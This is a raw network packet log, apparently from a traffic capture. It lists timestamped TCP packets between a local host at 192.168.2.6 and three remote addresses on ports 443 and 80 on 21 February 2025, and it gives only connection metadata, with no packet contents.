Feb 21, 2025 08:29:35.095061064 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.095163107 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.095170021 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.095248938 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.098326921 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.098381042 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.098386049 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.098423958 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.107709885 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.107806921 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.108386993 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.108428955 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.108462095 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.108511925 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.108517885 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.108560085 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.113753080 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.113815069 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.113821983 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.113864899 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.118662119 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.118762970 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.118771076 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.118860006 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.123414993 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.123516083 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.123524904 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.123601913 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.127698898 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.127788067 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.127795935 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.127886057 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.132601023 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.132663012 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.132669926 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.132710934 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.135807991 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.135890007 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.135895967 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.135945082 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.135983944 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.136044979 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.139880896 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.139931917 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.139940977 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.139976978 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.143753052 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.143841028 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.143846989 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.143904924 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.147665977 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.147716999 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.147722960 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.147778988 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.151561022 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.151611090 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.151617050 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.151649952 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.155412912 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.155488014 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.155505896 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.155589104 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.160511017 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.160604000 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.160634995 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.160665989 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.160671949 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.160865068 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.163119078 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.163239956 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.163283110 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.163376093 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.165477037 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.165622950 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.165636063 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.165746927 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.167836905 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.167910099 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.167916059 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.167953968 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.169631004 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.169698954 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.169704914 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.169740915 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.172676086 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.172744989 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.172858953 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.172966003 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.174799919 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.174863100 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.174870014 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.174906969 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.177097082 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.177160025 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.177165985 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.177207947 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.184376001 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.184434891 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.184463024 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.184483051 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.184483051 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.184490919 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.184534073 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.184534073 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.185873032 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.185939074 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.185957909 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.186012030 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.186084032 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.186321020 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.186326981 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.186511040 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.189124107 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.189306974 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.189312935 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.189368010 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.190306902 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.190457106 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.190462112 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.190632105 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.199242115 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.199325085 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.199333906 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.199345112 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.199393988 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.199393988 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.199714899 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.199764013 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.199774981 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.199781895 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.199809074 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.199903965 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.204545021 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.204588890 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.204643965 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.204651117 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.204668045 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.204710960 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.204760075 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.204951048 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.204971075 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.205022097 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.210510015 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.210585117 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.210592985 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.210655928 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.210669994 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.210716009 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.210721016 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.210786104 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.211030006 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.211324930 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.211330891 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.211509943 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.214627028 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.214701891 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.214725971 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.214732885 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.214747906 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.215337992 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.215341091 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.215691090 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.218609095 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.218672037 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.218698978 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.218699932 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.218708992 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.218720913 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.218787909 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.222768068 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.222822905 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.222840071 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.222846985 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.222898006 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.222898006 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.222907066 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.223021984 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.226646900 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.226834059 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.226840019 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.226902008 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.226913929 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.226921082 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.227217913 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.233452082 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.233501911 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.233529091 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.233541965 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.233541965 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.233549118 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.233577967 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.233577967 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.235518932 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.235575914 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.235583067 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.235697985 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.236013889 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.236170053 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.236207962 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.236325026 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.239388943 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.239535093 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.239542007 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.240010977 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.240063906 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.240119934 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.240124941 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.240200996 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.243256092 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.243330956 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.243336916 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.243413925 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.243872881 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.243983030 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.243989944 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.244142056 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.247153044 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.247328997 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.247334957 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.247498989 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.247505903 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.247559071 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.247564077 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.247736931 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.249609947 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.249665976 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.249672890 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.249743938 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.251045942 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.251097918 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.251105070 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.251337051 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.252789974 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.252871990 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.252876997 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.252995968 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.254098892 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.254189968 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.254462957 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.254513979 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.255857944 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.255964994 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.256020069 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.256127119 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.257616997 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.257728100 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.257736921 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.257860899 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.259191990 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.259248972 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.259255886 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.259294987 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.260742903 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.260854959 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.260899067 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.261096954 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.262124062 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.262193918 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.262274027 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.262320995 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.263792038 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.263854980 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.263860941 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.263925076 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.265227079 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.265285969 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.265291929 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.265377045 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.266776085 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.266834021 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.266839981 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.266910076 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.268011093 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.268141985 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.268184900 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.268256903 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.268263102 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.268313885 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.269428015 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.269495010 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.269598007 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.269687891 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.270015001 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.270071983 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.270076990 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.270159960 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.277688026 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.277739048 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.277756929 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.277769089 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.277779102 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.277839899 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.277869940 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.277873993 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.277888060 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.277905941 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.277926922 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.277930975 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.277946949 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.277956009 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.277983904 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.277988911 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.278022051 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.278022051 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.278143883 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.278377056 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.282259941 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.282325983 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.282337904 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.282447100 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.282447100 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.282454014 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.282481909 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.282529116 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.282529116 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:36.512706995 CET	49989	80	192.168.2.6	158.101.44.242
Feb 21, 2025 08:29:36.517735004 CET	80	49989	158.101.44.242	192.168.2.6
Feb 21, 2025 08:29:36.517839909 CET	49989	80	192.168.2.6	158.101.44.242
Feb 21, 2025 08:29:36.518064976 CET	49989	80	192.168.2.6	158.101.44.242
Feb 21, 2025 08:29:36.523047924 CET	80	49989	158.101.44.242	192.168.2.6
Feb 21, 2025 08:29:37.081201077 CET	80	49989	158.101.44.242	192.168.2.6
Feb 21, 2025 08:29:37.103708982 CET	49989	80	192.168.2.6	158.101.44.242
Feb 21, 2025 08:29:37.108741999 CET	80	49989	158.101.44.242	192.168.2.6
Feb 21, 2025 08:29:37.258359909 CET	80	49989	158.101.44.242	192.168.2.6
Feb 21, 2025 08:29:37.301012039 CET	49989	80	192.168.2.6	158.101.44.242
Feb 21, 2025 08:29:37.715648890 CET	49990	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:37.715686083 CET	443	49990	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:37.715775967 CET	49990	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:37.718170881 CET	49990	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:37.718185902 CET	443	49990	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:38.318422079 CET	443	49990	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:38.318492889 CET	49990	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:38.320722103 CET	49990	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:38.320732117 CET	443	49990	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:38.321002960 CET	443	49990	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:38.325126886 CET	49990	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:38.367336035 CET	443	49990	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:38.590023041 CET	443	49990	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:38.590097904 CET	443	49990	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:38.590230942 CET	49990	443	192.168.2.6	104.21.112.1
